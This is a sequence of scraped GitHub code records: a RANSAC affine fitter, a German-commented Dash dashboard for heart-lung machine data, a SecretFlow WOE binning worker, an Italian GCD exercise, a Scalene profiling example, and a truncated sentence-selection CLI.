torch.ones([len(src), 1], device=device)], dim=1).t()  # (n,2)->(3,n)\r\n    src_sample = src_3[:, idx.reshape(-1)].reshape([-1, *idx.shape]).permute([1, 0, 2])  # (m,x,i) m:maxiter x:(x,y,1),\r\n    # i:三个坐标\r\n    dst_sample = dst[idx.reshape(-1), :].reshape([*idx.shape, -1]).permute([0, 2, 1])  # (m, x, i)\r\n    m = dst_sample @ p_inverse(src_sample)\r\n    # 验证\r\n    src_ver = src_3.unsqueeze(0).repeat([max_iter, 1, 1])\r\n    dst_var = dst.unsqueeze(0).repeat([max_iter, 1, 1]).permute([0, 2, 1])\r\n    err = torch.norm((m @ src_ver - dst_var), dim=1) < rrt\r\n    m_idx = torch.argmax(err.sum(dim=1))\r\n    return fine_affine(from_, to_, err[m_idx], 3, device=device)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    device = \"cuda\"\r\n","repo_name":"TongXin-CASIA/Excepted_Affine","sub_path":"EA/ransac.py","file_name":"ransac.py","file_ext":"py","file_size_in_byte":3033,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"14965228973","text":"from cmath import nan\nfrom tempfile import SpooledTemporaryFile\nimport dash\nfrom dash import Dash, html, dcc, Output, Input, dash_table\nimport plotly.express as px\nimport plotly.graph_objects as go\nimport pandas as pd\nimport utilities as ut\nimport numpy as np\nimport os\nimport re\n\nimport logging\n\nLog_Format = \"%(levelname)s:%(asctime)s:%(message)s\"\n\nlogging.basicConfig(filename = \"logfile.logg\",\n                    filemode = \"w\",\n                    format = Log_Format, \n                    level = logging.INFO)\n\n\napp = Dash(__name__)\n\n\nlist_of_subjects = []\nsubj_numbers = []\nnumber_of_subjects = 0\n\nfolder_current = os.path.dirname(__file__) \nprint(folder_current)\nfolder_input_data = os.path.join(folder_current, \"input_data\")\nfor file in os.listdir(folder_input_data):\n    \n    if file.endswith(\".csv\"):\n        number_of_subjects += 1\n        file_name = os.path.join(folder_input_data, file)\n        print(file_name)\n        list_of_subjects.append(ut.Subject(file_name))\n\n\ndf = list_of_subjects[0].subject_data\n\n\nfor i in range(number_of_subjects):\n    subj_numbers.append(list_of_subjects[i].subject_id)\n    logging.info('Subject {}{}'.format(i,' initialised'))\ndata_names = [\"SpO2 (%)\", \"Blood Flow (ml/s)\",\"Temp (C)\"]\nalgorithm_names = ['min','max']\nblood_flow_functions = ['CMA','SMA','Show Limits']\n\n\n\n\nfig0= go.Figure()\nfig1= go.Figure()\nfig2= go.Figure()\nfig3= go.Figure()\n\nfig0 = px.line(df, x=\"Time (s)\", y = \"SpO2 (%)\")\nfig1 = px.line(df, x=\"Time (s)\", y = \"Blood Flow (ml/s)\")\nfig2 = px.line(df, x=\"Time (s)\", y = \"Temp (C)\")\nfig3 = px.line(df, x=\"Time (s)\", y = \"Blood Flow (ml/s)\")\n\n#layout\ncolors = {\n    'background': '#faebd7',\n    'text': '#7FDBFF'\n}\n\n\napp.layout = html.Div(style={'backgroundColor': colors['background']},children=[\n    html.H1(children='Cardiopulmonary Bypass Dashboard', style={\n            'textAlign': 'center',\n            'color': \"#483d8b\"\n        }),\n    \n\n\n    html.Div(children='''\n        Gesamte Beobachtungsdauer: 481 Sekunden;\n        Anzahl Probanden: 3;\n        Herzlungenmaschine Modell: Stöckert S5 \n    '''),\n\n    dcc.Checklist(\n    id= 'checklist-algo',\n    options=algorithm_names,\n    inline=False\n    ),\n\n    html.Div([\n        dcc.Dropdown(options = subj_numbers, placeholder='Select a subject', value='1', id='subject-dropdown'), \n    html.Div(id='dd-output-container')\n    ],\n        style={\"width\": \"15%\", \"color\": \"#483d8b\"} \n        \n    ),\n    \n\n    dcc.Graph(\n        id='dash-graph0',\n        figure=fig0\n    ),\n\n    dcc.Graph(\n        id='dash-graph1',\n        figure=fig1\n    ),\n    dcc.Graph(\n        id='dash-graph2',\n        figure=fig2\n    ),\n\n    dcc.Checklist(\n        id= 'checklist-bloodflow',\n        options=blood_flow_functions,\n        inline=False\n    ),\n    dcc.Graph(\n        id='dash-graph3',\n        figure=fig3\n    )\n    \n])\n### Callback Functions ###\n## Graph Update Callback\n@app.callback(\n    # In- or Output('which html element','which element property')\n    Output('dash-graph0', 'figure'),\n    Output('dash-graph1', 'figure'),\n    Output('dash-graph2', 'figure'),\n    Input('subject-dropdown', 'value'),\n    Input('checklist-algo','value')\n)\ndef update_figure(value, algorithm_checkmarks):\n    print(\"Current Subject: \",value)\n    print(\"current checked checkmarks are: \", algorithm_checkmarks)\n    ts = list_of_subjects[int(value)-1].subject_data\n    #SpO2\n    fig0 = px.line(ts, x=\"Time (s)\", y = data_names[0])\n    # Blood Flow\n    fig1 = px.line(ts, x=\"Time (s)\", y = data_names[1])\n    # Blood Temperature\n    fig2 = px.line(ts, x=\"Time (s)\", y = data_names[2])\n    \n\n\n\n    # Aufgabe 2: Min/Max \n    \n    \n    \n    grp = ts.agg(['max', 'min', 'idxmax', 'idxmin'])\n    \n    print(grp)\n    \n  \n   \n    if 'max' in algorithm_checkmarks:\n        fig0.add_trace(go.Scatter(x= [grp.loc['idxmax', data_names[0]]], y= [grp.loc['max', data_names[0]]],\n                    mode='markers', name='max', marker_color= 'red'))\n        fig1.add_trace(go.Scatter(x= [grp.loc['idxmax', data_names[1]]], y= [grp.loc['max', data_names[1]]],\n                    mode='markers', name='max', marker_color= 'red'))\n        fig2.add_trace(go.Scatter(x= [grp.loc['idxmax', data_names[2]]], y= [grp.loc['max', data_names[2]]],\n                    mode='markers', name='max', marker_color= 'red'))\n    \n    if 'min' in algorithm_checkmarks:\n        logging.info('Subject initialized')\n        fig0.add_trace(go.Scatter(x= [grp.loc['idxmin', data_names[0]]], y= [grp.loc['min', data_names[0]]],\n                    mode='markers', name='min', marker_color= 'green'))\n        fig1.add_trace(go.Scatter(x= [grp.loc['idxmin', data_names[1]]], y= [grp.loc['min', data_names[1]]],\n                    mode='markers', name='min', marker_color= 'green'))\n        fig2.add_trace(go.Scatter(x= [grp.loc['idxmin', data_names[2]]], y= [grp.loc['min', data_names[2]]],\n                    mode='markers', name='min', marker_color= 'green'))\n    \n\n    return fig0, fig1, fig2\n\n\n  \n\n\n\n## Blodflow Simple Moving Average Update\n@app.callback(\n    # In- or Output('which html element','which element property')\n    Output('dash-graph3', 'figure'),\n    Input('subject-dropdown', 'value'),\n    Input('checklist-bloodflow','value')\n)\n\ndef bloodflow_figure(value, bloodflow_checkmarks):\n    print(bloodflow_checkmarks)\n    bf = list_of_subjects[int(value)-1].subject_data\n    fig3 = px.line(bf, x=\"Time (s)\", y=\"Blood Flow (ml/s)\")\n\n    #Aufgabe 2\n    \n    \n    if bloodflow_checkmarks is not None:\n        if bloodflow_checkmarks == [\"SMA\"]:\n            bf[\"Blood Flow (ml/s) - SMA\"] = ut.calculate_SMA(bf[\"Blood Flow (ml/s)\"],5) \n            fig3 = px.line(bf, x=\"Time (s)\", y=\"Blood Flow (ml/s) - SMA\")\n\n        if bloodflow_checkmarks == [\"CMA\"]:\n            bf[\"Blood Flow (ml/s) - CMA\"] = ut.calculate_CMA(bf[\"Blood Flow (ml/s)\"],2) \n            fig3 = px.line(bf, x=\"Time (s)\", y=\"Blood Flow (ml/s) - CMA\")\n\n    \n\n\n    #Aufgabe 3\n    \n    #Mittelwert\n    \n    \n    avg = bf.mean()\n    x = [0, 480]\n    y = avg.loc['Blood Flow (ml/s)']\n    fig3.add_trace(go.Scatter(x = x, y= [y,y], mode = 'lines', name = 'Mittelwert'))\n\n\n\n    #15% Intervalle\n    \n    \n    y_oben = (avg.loc['Blood Flow (ml/s)'])*1.15\n    fig3.add_trace(go.Scatter(x = x, y= [y_oben,y_oben], mode = 'lines', marker_color = 'blue', name = 'obere Grenze'))\n    \n    y_unten = (avg.loc['Blood Flow (ml/s)'])*0.8\n    fig3.add_trace(go.Scatter(x = x, y= [y_unten, y_unten], mode = 'lines', marker_color = 'blue', name = 'untere Grenze'))\n    \n\n   # if avg > 80 or avg <60:\n        #logging.info('critical bloodflow warning') why?\n\n    return fig3\n\nif __name__ == '__main__':\n    #app.run_server(debug=True) (nicht hostbar)\n    app.run_server(host='localhost',port=8005)\n","repo_name":"Kleinrobert/HerzLungenMaschine-master","sub_path":"HerzLungenMaschine-master/ProjectFiles/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":6702,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"9097690681","text":"from typing import List, Dict, Union, Tuple\nfrom scipy.stats import chi2\nimport pandas as pd\nimport numpy as np\nimport math\n\nfrom secretflow.device import PYUObject, proxy\n\n\n@proxy(PYUObject)\nclass VertWoeBinningPyuWorker:\n    \"\"\"\n    PYU functions for woe binning\n    Attributes: see VertWoeBinning\n    \"\"\"\n\n    def __init__(\n        self,\n        data: pd.DataFrame,\n        binning_method: str,\n        bin_num: int,\n        bin_names: List[str],\n        label_name: str,\n        positive_label: str,\n        chimerge_init_bins: int,\n        chimerge_target_bins: int,\n        chimerge_target_pvalue: float,\n    ):\n        data_columns = data.columns\n        assert np.isin(\n            bin_names, data_columns\n        ).all(), (\n            f\"bin_names[{bin_names}] not exist in input data columns[{data_columns}]\"\n        )\n        self.bin_names = bin_names\n        if label_name:\n            assert np.isin(\n                label_name, data_columns\n            ).all(), f\"label_name[{label_name}] not exist in input data columns[{data_columns}]\"\n            self.label_name = label_name\n            self.positive_label = positive_label\n        else:\n            self.label_name = \"\"\n        self.bin_num = bin_num\n        self.binning_method = binning_method\n        self.chimerge_init_bins = chimerge_init_bins\n        self.chimerge_target_bins = chimerge_target_bins\n        self.chimerge_target_chi = chi2.ppf(1 - chimerge_target_pvalue, df=1)\n\n    def _build_feature_bin(\n        self, f_data: pd.DataFrame\n    ) -> Tuple[List[np.ndarray], Union[np.ndarray, List[str]], np.ndarray]:\n        '''\n        split one feature column into {bin_num} bins.\n\n        Attributes:\n            f_data: feature column to be split.\n\n        Return:\n            First: sample indices for each bins.\n            Second: split points for number column (np.array) or\n                    categories for string column (List[str])\n            Third: sample indices for np.nan values.\n        '''\n        if f_data.dtype == np.dtype(object):\n            # for string type col, split into bins by categories.\n            categories = {d for d in f_data if not pd.isna(d)}\n            for c in categories:\n                assert isinstance(\n                    c, str\n                ), f\"only support str if dtype == np.obj, but got {type(c)}\"\n            split_points = sorted(list(categories))\n            bin_indices = list()\n            for b in split_points:\n                bin_indices.append(np.flatnonzero(f_data == b))\n            return bin_indices, split_points, np.flatnonzero(pd.isna(f_data))\n        else:\n            # for number type col, first binning by pd.qcut.\n            bin_num = (\n                self.bin_num\n                if self.binning_method == \"quantile\"\n                else self.chimerge_init_bins\n            )\n            bins, split_points = pd.qcut(\n                f_data, bin_num, labels=False, duplicates='drop', retbins=True\n            )\n            bin_indices = list()\n            assert split_points.size >= 2, f\"split_points.size {split_points.size}\"\n            empty_bins = [0, split_points.size - 1]\n            for b in range(split_points.size - 1):\n                bin = np.flatnonzero(bins == b)\n                if bin.size == 0:\n                    # Then, remove empty bin in pd.qcut's result.\n                    empty_bins.append(b + 1)\n                else:\n                    bin_indices.append(bin)\n\n            return (\n                bin_indices,\n                # remove start/end value & empty bins in pd.qcut's range result.\n                # remain only left-open right-close split points\n                np.delete(split_points, empty_bins),\n                np.flatnonzero(pd.isna(f_data)),\n            )\n\n    def _build_feature_bins(\n        self, data: pd.DataFrame\n    ) -> Tuple[List[np.ndarray], List[Union[np.ndarray, List[str]]], List[np.ndarray]]:\n        '''\n        split all columns into {bin_num} bins.\n        Attributes:\n            data: dataset to be split.\n\n        Return:\n            First: sample indices for each bins in all features.\n            Second: split points for number column (np.array) or\n                    categories for string column (List[str]) for all features.\n            Third: sample indices for np.nan values in all features.\n        '''\n        ret_bins_idx = list()\n        ret_points = list()\n        ret_else_bins = list()\n        assert isinstance(data, pd.DataFrame), type(data)\n        for f_name in self.bin_names:\n            f_data = data.loc[:, f_name]\n            bin_idx, split_point, else_bin = self._build_feature_bin(f_data)\n            if isinstance(split_point, list):\n                # use List[str] for string column\n                # split_point means categories, so length of it need equal to bin_idx\n                assert len(bin_idx) == len(split_point), (\n                    f\"len(bin_idx) {len(bin_idx)},\"\n                    f\" len(split_point) {len(split_point)}\"\n                )\n            else:\n                # use np.array for number column\n                # split_point contain left-open right-close split points between each bins.\n                # so length of it need equal to len(bin_idx) - 1\n                assert len(bin_idx) == split_point.size + 1, (\n                    f\"len(bin_idx) {len(bin_idx)},\"\n                    f\" split_point.size {split_point.size}\"\n                )\n            ret_bins_idx += bin_idx\n            ret_points.append(split_point)\n            ret_else_bins.append(else_bin)\n\n        return ret_bins_idx, ret_points, ret_else_bins\n\n    def _get_label(self, data: pd.DataFrame) -> np.array:\n        '''\n        Binarize label column.\n        Attributes:\n            data: input label column.\n\n        Return:\n            binarized label, 1 for positive, 0 for negative.\n        '''\n        assert isinstance(data, pd.DataFrame), type(data)\n        raw_label = data.loc[:, self.label_name]\n\n        if raw_label.dtype == np.dtype(object):\n            assert isinstance(\n                raw_label[0], str\n            ), f\"only support str if dtype == np.obj, but got {type(raw_label[0])}\"\n            return np.array((raw_label == self.positive_label)).astype(np.float32)\n        else:\n            positive_value = float(self.positive_label)\n            return np.array((raw_label == positive_value)).astype(np.float32)\n\n    def _build_report_dict(\n        self,\n        woe_ivs: List[Tuple],\n        f_name: str,\n        split_points: Union[np.ndarray, List[str]],\n        else_woe_iv: Tuple,\n        total_counts: List[int],\n        else_counts: int,\n    ) -> Dict:\n        '''\n        build report dict for one feature.\n        Attributes:\n            woe_ivs: woe/iv values for each bins in feature.\n            f_name: feature name.\n            split_points: see _build_feature_bin.\n            else_woe_iv: woe/iv for np.nan values in feature.\n            total_counts: total samples in each bins.\n            else_counts: total samples for np.nan values.\n\n        Return:\n            Dict report.\n        '''\n        ret = dict()\n        ret['name'] = f_name\n        if isinstance(split_points, list):\n            ret['type'] = \"string\"\n            ret['categories'] = split_points\n        else:\n            ret['type'] = \"numeric\"\n            ret['split_points'] = list(split_points)\n\n        ret['woes'] = list()\n        ret['ivs'] = list()\n        ret['total_counts'] = list()\n        assert len(total_counts) == len(woe_ivs), (\n            f\"len(total_counts) {len(total_counts)},\" f\" len(woe_ivs) {len(woe_ivs)}\"\n        )\n        for i in range(len(woe_ivs)):\n            ret['total_counts'].append(total_counts[i])\n            ret['woes'].append(woe_ivs[i][0])\n            ret['ivs'].append(woe_ivs[i][1])\n\n        ret['else_woe'] = else_woe_iv[0]\n        ret['else_iv'] = else_woe_iv[1]\n        ret['else_counts'] = else_counts\n\n        return ret\n\n    def _calc_bin_woe_iv(\n        self, bin_total: int, bin_positives: int\n    ) -> Tuple[float, float]:\n        '''\n        calculate woe/iv for one bin.\n        Attributes:\n            bin_total: total samples in bin.\n            bin_positives: positive samples in bin.\n\n        Return:\n            Tuple[woe, iv]\n        '''\n        total_labels = self.total_labels\n        total_positives = self.total_positives\n        total_negatives = total_labels - total_positives\n        assert (\n            total_positives > 0 and total_negatives > 0\n        ), f\"total_positives {total_positives}, total_negatives {total_negatives}\"\n\n        bin_negatives = bin_total - bin_positives\n\n        positive_distrib = 0\n        negative_distrib = 0\n\n        if bin_negatives == 0 or bin_positives == 0:\n            positive_distrib = (bin_positives + 0.5) / total_positives\n            negative_distrib = (bin_negatives + 0.5) / total_negatives\n        else:\n            positive_distrib = bin_positives * 1.0 / total_positives\n            negative_distrib = bin_negatives * 1.0 / total_negatives\n\n        woe = math.log(positive_distrib / negative_distrib)\n        iv = (positive_distrib - negative_distrib) * woe\n        return (woe, iv)\n\n    def _build_report(\n        self,\n        woe_ivs: List[Tuple[float]],\n        split_points: List[Union[np.ndarray, List[str]]],\n        else_woe_ivs: List[Tuple],\n        total_counts: List[int],\n        else_counts: List[int],\n    ) -> Dict:\n        '''\n        Attributes:\n            woe_ivs: woe/iv values for all features' bins.\n            split_points: see _build_feature_bin.\n            else_woe_iv: woe/iv values for all features' np.nan bin.\n            total_counts: total samples all features' bins.\n            else_counts: np.nan samples in all features.\n\n        Return:\n            Dict report\n        '''\n        assert len(else_woe_ivs) == len(self.bin_names), (\n            f\"len(else_woe_ivs) {len(else_woe_ivs)},\"\n            f\" len(self.bin_names) {len(self.bin_names)}\"\n        )\n        assert len(split_points) == len(self.bin_names), (\n            f\"len(split_points) {len(split_points)},\"\n            f\" len(self.bin_names) {len(self.bin_names)}\"\n        )\n        assert len(woe_ivs) == len(total_counts), (\n            f\"len(woe_ivs) {len(woe_ivs)},\" f\" len(total_counts) {len(total_counts)}\"\n        )\n        assert len(else_woe_ivs) == len(else_counts), (\n            f\"len(else_woe_ivs) {len(else_woe_ivs)},\"\n            f\" len(else_counts) {len(else_counts)}\"\n        )\n        pos = 0\n        variables = list()\n        for f_idx in range(len(split_points)):\n            split_point = split_points[f_idx]\n            f_bin_size = 0\n            if isinstance(split_point, list):\n                f_bin_size = len(split_point)\n            else:\n                f_bin_size = split_point.size + 1\n\n            assert pos + f_bin_size <= len(\n                woe_ivs\n            ), f\"pos {pos}, f_bin_size {f_bin_size}, len(woe_ivs) {len(woe_ivs)}\"\n            variables.append(\n                self._build_report_dict(\n                    woe_ivs[pos : pos + f_bin_size],\n                    self.bin_names[f_idx],\n                    split_points[f_idx],\n                    else_woe_ivs[f_idx],\n                    total_counts[pos : pos + f_bin_size],\n                    else_counts[f_idx],\n                )\n            )\n            pos += f_bin_size\n\n        assert pos == len(woe_ivs), f\"pos {pos}, len(woe_ivs) {len(woe_ivs)}\"\n        assert len(variables) == len(self.bin_names), (\n            f\"len(variables) {len(variables)}, \"\n            f\"len(self.bin_names) {len(self.bin_names)}\"\n        )\n        return {\"variables\": variables}\n\n    def _chi_merge(\n        self, bins: List[Tuple[float, float]]\n    ) -> Tuple[List[Tuple[float, float]], List[int]]:\n        '''\n        apply ChiMerge on one feature. ChiMerge proposed by paper AAAI92-019.\n        merge adjacent bins by their samples' Chi-Square Statistic.\n        Attributes:\n            bins: bins in feature build by initialization cut.\n\n        Return:\n            Tuple[bins after merge, removed bin indices in input bins]\n        '''\n\n        def get_chi(bin1: Tuple[float, float], bin2: Tuple[float, float]):\n            total = bin1[0] + bin2[0]\n            total_positive = bin1[1] + bin2[1]\n            positive_rate = float(total_positive) / float(total)\n\n            if positive_rate == 0 or positive_rate == 1:\n                # two bins has same label distribution\n                return 0.0\n\n            bin1_positive = bin1[1]\n            bin1_expt_positive = positive_rate * float(bin1[0])\n            bin1_negative = bin1[0] - bin1[1]\n            bin1_expt_negative = float(bin1[0]) - bin1_expt_positive\n\n            bin2_positive = bin2[1]\n            bin2_expt_positive = positive_rate * float(bin2[0])\n            bin2_negative = bin2[0] - bin2[1]\n            bin2_expt_negative = float(bin2[0]) - bin2_expt_positive\n\n            return (\n                math.pow(bin1_positive - bin1_expt_positive, 2) / bin1_expt_positive\n                + math.pow(bin1_negative - bin1_expt_negative, 2) / bin1_expt_negative\n                + math.pow(bin2_positive - bin2_expt_positive, 2) / bin2_expt_positive\n                + math.pow(bin2_negative - bin2_expt_negative, 2) / bin2_expt_negative\n            )\n\n        chis = [get_chi(bins[i], bins[i + 1]) for i in range(len(bins) - 1)]\n\n        def get_min(chis):\n            min_idx = np.argmin(chis)\n            return chis[min_idx], min_idx\n\n        orig_idx = [i for i in range(len(bins))]\n        removed_idx = list()\n        while True:\n            if len(bins) <= self.chimerge_target_bins:\n                # chi_merge stop by bin size\n                return bins, removed_idx\n\n            min_chi, min_idx = get_min(chis)\n            if min_chi > self.chimerge_target_chi:\n                # chi_merge stop by chi value3333333\n                return bins, removed_idx\n\n            # merge bins[min_idx] & bins[min_idx + 1]\n            new_stat = (\n                bins[min_idx][0] + bins[min_idx + 1][0],\n                bins[min_idx][1] + bins[min_idx + 1][1],\n            )\n            bins.pop(min_idx + 1)\n            bins[min_idx] = new_stat\n            removed_idx.append(orig_idx.pop(min_idx))\n            # update chis\n            chis.pop(min_idx)\n            if min_idx > 0:\n                chis[min_idx - 1] = get_chi(bins[min_idx - 1], bins[min_idx])\n            if min_idx < len(bins) - 1:\n                chis[min_idx] = get_chi(bins[min_idx], bins[min_idx + 1])\n\n    def _apply_chimerge(\n        self,\n        bins_stat: List[Tuple[float, float]],\n        split_points: List[Union[np.ndarray, List[str]]],\n    ) -> Tuple[List[Tuple[float, float]], List[Union[np.ndarray, List[str]]]]:\n        '''\n        apply ChiMerge on all number type features.\n        Attributes:\n            bins_stat: bins for all features build by initialization cut.\n            split_points: see _build_feature_bin\n\n        Return:\n            Tuple[bins after merge, split points after merge]\n        '''\n        pos = 0\n        merged_bins_stat = list()\n        merged_split_points = list()\n        for f_idx in range(len(split_points)):\n            if isinstance(split_points[f_idx], list):\n                # can not apple chimerge on string type feature. skip and forward values into result.\n                f_size = len(split_points[f_idx])\n                merged_bins_stat += bins_stat[pos : pos + f_size]\n                merged_split_points.append(split_points[f_idx])\n                pos += f_size\n            else:\n                f_size = split_points[f_idx].size + 1\n                mbs, merged_idx = self._chi_merge(bins_stat[pos : pos + f_size])\n                merged_split_points.append(np.delete(split_points[f_idx], merged_idx))\n                merged_bins_stat += mbs\n                pos += f_size\n\n        return merged_bins_stat, merged_split_points\n\n    def coordinator_work(self, data: pd.DataFrame) -> Tuple[np.ndarray, Dict]:\n        '''\n        Label holder build report for it's own feature, and provide label to driver.\n        Attributes:\n            data: full dataset for this party.\n\n        Return:\n            Tuple[label, report for this party]\n        '''\n        bins_idx, split_points, else_bins = self._build_feature_bins(data)\n        label = self._get_label(data)\n        self.total_labels = label.size\n        self.total_positives = round(label.sum())\n        assert (\n            self.total_positives != 0 and self.total_positives != self.total_labels\n        ), \"All label values are the same event\"\n\n        def sum_bin(bin):\n            total_count = bin.size\n            positive_count = round(label[bin].sum())\n            return (total_count, positive_count)\n\n        bins_stat = [sum_bin(b) for b in bins_idx]\n\n        if self.binning_method == \"chimerge\":\n            bins_stat, split_points = self._apply_chimerge(bins_stat, split_points)\n\n        woe_ivs = [self._calc_bin_woe_iv(*s) for s in bins_stat]\n        total_counts = [b[0] for b in bins_stat]\n\n        else_woe_ivs = [self._calc_bin_woe_iv(*sum_bin(b)) for b in else_bins]\n        else_counts = [b.size for b in else_bins]\n\n        return (\n            label,\n            self._build_report(\n                woe_ivs, split_points, else_woe_ivs, total_counts, else_counts\n            ),\n        )\n\n    def participant_build_sum_select(self, data: pd.DataFrame) -> np.ndarray:\n        '''\n        build select matrix for driver to calculate positive samples by Secret Sharing.\n        Attributes:\n            data: full dataset for this party.\n\n        Return:\n            sparse select matrix.\n        '''\n        bins_idx, self.split_points, else_bins_idx = self._build_feature_bins(data)\n        self.total_counts = [b.size for b in bins_idx]\n        self.else_counts = [b.size for b in else_bins_idx]\n\n        samples = data.shape[0]\n        select = np.zeros((samples, len(bins_idx)), np.float32)\n        for i in range(len(bins_idx)):\n            select[bins_idx[i], i] = 1.0\n\n        else_select = list()\n        for i in range(len(else_bins_idx)):\n            if else_bins_idx[i].size:\n                s = np.zeros((samples, 1), np.float32)\n                s[else_bins_idx[i]] = 1.0\n                else_select.append(s)\n\n        return np.concatenate((select, *else_select), axis=1)\n\n    def participant_sum_bin(\n        self, bins_positive: Union[List, np.ndarray]\n    ) -> List[Tuple[int, int]]:\n        '''\n        build bins stat tuple.\n        Attributes:\n            bins_positive: positive counts in all not empty bins.\n\n        Return:\n            List[Tuple[total, positive]]\n        '''\n        else_bin_count = len([x for x in self.else_counts if x > 0])\n        if len(bins_positive) == 1 and isinstance(bins_positive[0], np.ndarray):\n            bins_positive = list(bins_positive[0])\n        else:\n            bins_positive = list(bins_positive)\n\n        if else_bin_count:\n            else_positive = bins_positive[-else_bin_count:]\n            bins_positive = bins_positive[:-else_bin_count]\n        else:\n            else_positive = list()\n\n        assert len(bins_positive) == len(self.total_counts), (\n            f\"len(bins_positive) {len(bins_positive)}, \"\n            f\"len(self.total_counts) {len(self.total_counts)}\"\n        )\n\n        bins_positive = [round(float(p)) for p in bins_positive]\n        bins_stat = [b for b in zip(self.total_counts, bins_positive)]\n\n        if self.binning_method == \"chimerge\":\n            bins_stat, self.split_points = self._apply_chimerge(\n                bins_stat, self.split_points\n            )\n            self.total_counts = [b[0] for b in bins_stat]\n\n        assert len(self.bin_names) == len(self.else_counts), (\n            f\"len(self.bin_names) {len(self.bin_names)}, \"\n            f\"len(self.else_counts) {len(self.else_counts)}\"\n        )\n\n        else_stat = list()\n        for i in range(len(self.else_counts)):\n            count = self.else_counts[i]\n            if count > 0:\n                assert (\n                    len(else_positive) > 0\n                ), f\"len(else_positive) {len(else_positive)}\"\n                p = else_positive.pop(0)\n                else_stat.append((count, round(float(p))))\n            else:\n                else_stat.append((0, 0))\n        assert len(else_positive) == 0, f\"len(else_positive) {len(else_positive)}\"\n\n        bins_stat += else_stat\n\n        return bins_stat\n\n    def coordinator_calc_woe_for_peer(\n        self, bins_stat: List[Tuple[int, int]]\n    ) -> List[Tuple[float, float]]:\n        '''\n        calculate woe/iv for participant party.\n        Attributes:\n            bins_stat: bins stat tuple from participant party.\n\n        Return:\n           List[Tuple[woe, iv]]\n        '''\n        return [self._calc_bin_woe_iv(*b) for b in bins_stat]\n\n    def participant_build_report(self, woe_ivs: List[Tuple[float, float]]) -> Dict:\n        '''\n        build report based on coordinator party's woe/iv values.\n        Attributes:\n            woe_ivs: woe/iv values for all features' bins.\n\n        Return:\n            Dict\n        '''\n        f_count = len(self.bin_names)\n        return self._build_report(\n            woe_ivs[:-f_count],\n            self.split_points,\n            woe_ivs[-f_count:],\n            self.total_counts,\n            self.else_counts,\n        )\n","repo_name":"primihub/hackathon","sub_path":"winning-project/Vpcdap/code/隐私求交/PSI/secretflow/preprocessing/binning/vert_woe_binning_pyu.py","file_name":"vert_woe_binning_pyu.py","file_ext":"py","file_size_in_byte":21349,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"21"}
+{"seq_id":"16553208522","text":"#MCD massimo comun divisore (MCD) \nimport math\ndef mcd (a,b):\n     return math.gcd(a, b)\n\nprint(mcd(70,15))\n\n#mcd \ndef euclide(a, b):\n    while(b != 0):\n        r=a%b\n        a=b\n        b=r\n    return a\n \nprint(euclide(70,15)) # 5","repo_name":"emilianot04/Exercise_Python","sub_path":"Think-Python/capitolo_6/esercizio-6.4.py","file_name":"esercizio-6.4.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31293924404","text":"import random\n\n\ndef main_func():\n    arr1 = [random.randint(1,10) for i in range(100000)]\n    arr2 = [random.randint(1,10) for i in range(100000)]\n    arr3 = [arr1[i]+arr2[i] for i in range(100000)]\n    tot = sum(arr3)\n    print(tot)\n\n\n\n\nif __name__ == \"__main__\":\n\n    from scalene import scalene_profiler\n\n    #Turn profiling on\n    scalene_profiler.start()\n    \n    main_func()\n\n    # Turn profiling off\n    scalene_profiler.stop()\n","repo_name":"Sera91/SMR3894-Python-Tutorials","sub_path":"Python-profiling/Scalene/example_scalene2.py","file_name":"example_scalene2.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"5421926736","text":"from pathlib import Path\n\nimport click\nimport polars as pl\nfrom sentence_selection.aliases import resolve_aliases\nfrom sentence_selection.get_sentences import sample_sentences, tokenize_and_count\nfrom sentence_transformers import SentenceTransformer\n\n\n@click.command()\n@click.option(\n    \"--raw_sentences\",\n    type=click.Path(),\n    help=\"Path to raw sentences, should be a parquet file\",\n)\n@click.option(\n    \"--output\",\n    default=\"selected_sentences.parquet\",\n    type=click.Path(),\n    help=\"Path to output file, should be a parquet file\",\n)\n@click.option(\"--device\", default=\"cpu:0\", help=\"Device to use for sentence selection\")\n@click.option(\"--limit\", default=3072, help=\"Maximum number of tokens to select\")\ndef main(raw_sentences, output, device, limit):\n    \"\"\"\n    Take the sentences extracted from the database and run topic modelling over them to select sentences to fill the context.\n    \"\"\"\n\n    raw_sentences = pl.read_parquet(raw_sentences)\n\n    ## Add the token counts for all sentences\n    raw_sentences = tokenize_and_count(raw_sentences)\n\n    ## Regex replace aliases with primary id in all sentences\n    raw_sentences = resolve_aliases(raw_sentences)\n\n    model = SentenceTransformer(\"all-MiniLM-L6-v2\", device=device)\n\n    ## First deal with those below context limit\n    under_limit = raw_sentences.filter(pl.col(\"total\").lt(limit))\n\n    ## Calculate the remainder\n    remainder = raw_sentences.join(under_limit, on=\"primary_id\", how=\"anti\")\n\n    ## Run 'sampling' on the under_limit sentences\n    if len(under_limit) > 0:\n        tiny_df = sample_sentences(under_limit, model, limit)\n        tiny_df = tiny_df.with_columns(multiple=pl.lit(0).cast(pl.Int64))\n        print(f\"Dataframe below context limit is size {len(tiny_df)}\")\n\n    # ## Count what multiple each is of the limit\n    remainder = remainder.with_columns(\n        multiple=(pl.col(\"total\") / limit).floor().cast(pl.Int64)\n    )\n    ## Partition by multiple of the limit - should give manageable chunks\n    partitions = sorted(\n        remainder.partition_by(\"multiple\"), key=lambda x: len(x), reverse=True\n    )\n\n    ## Run selection on each partition in turn\n    N_part = len(partitions)\n    for num, partition in enumerate(partitions):\n        print(\n            f\"Dataframe with {partition.get_column('multiple').unique().to_numpy()[0]}x context limit is size {len(partition)}\"\n        )\n        intermediate = sample_sentences(partition, model, limit)\n        intermediate.write_json(f\"intermediate_{num}.json\")\n        del intermediate  ## I don't think this is actually that big, but just in case\n\n    ## Reassemble\n    if len(under_limit) > 0:\n        sample_df = tiny_df\n        start = 0\n    else:\n        sample_df = pl.read_json(f\"intermediate_0.json\")\n        start = 1\n        Path(f\"intermediate_0.json\").unlink()\n\n    for num in range(start, N_part):\n        sample_df = 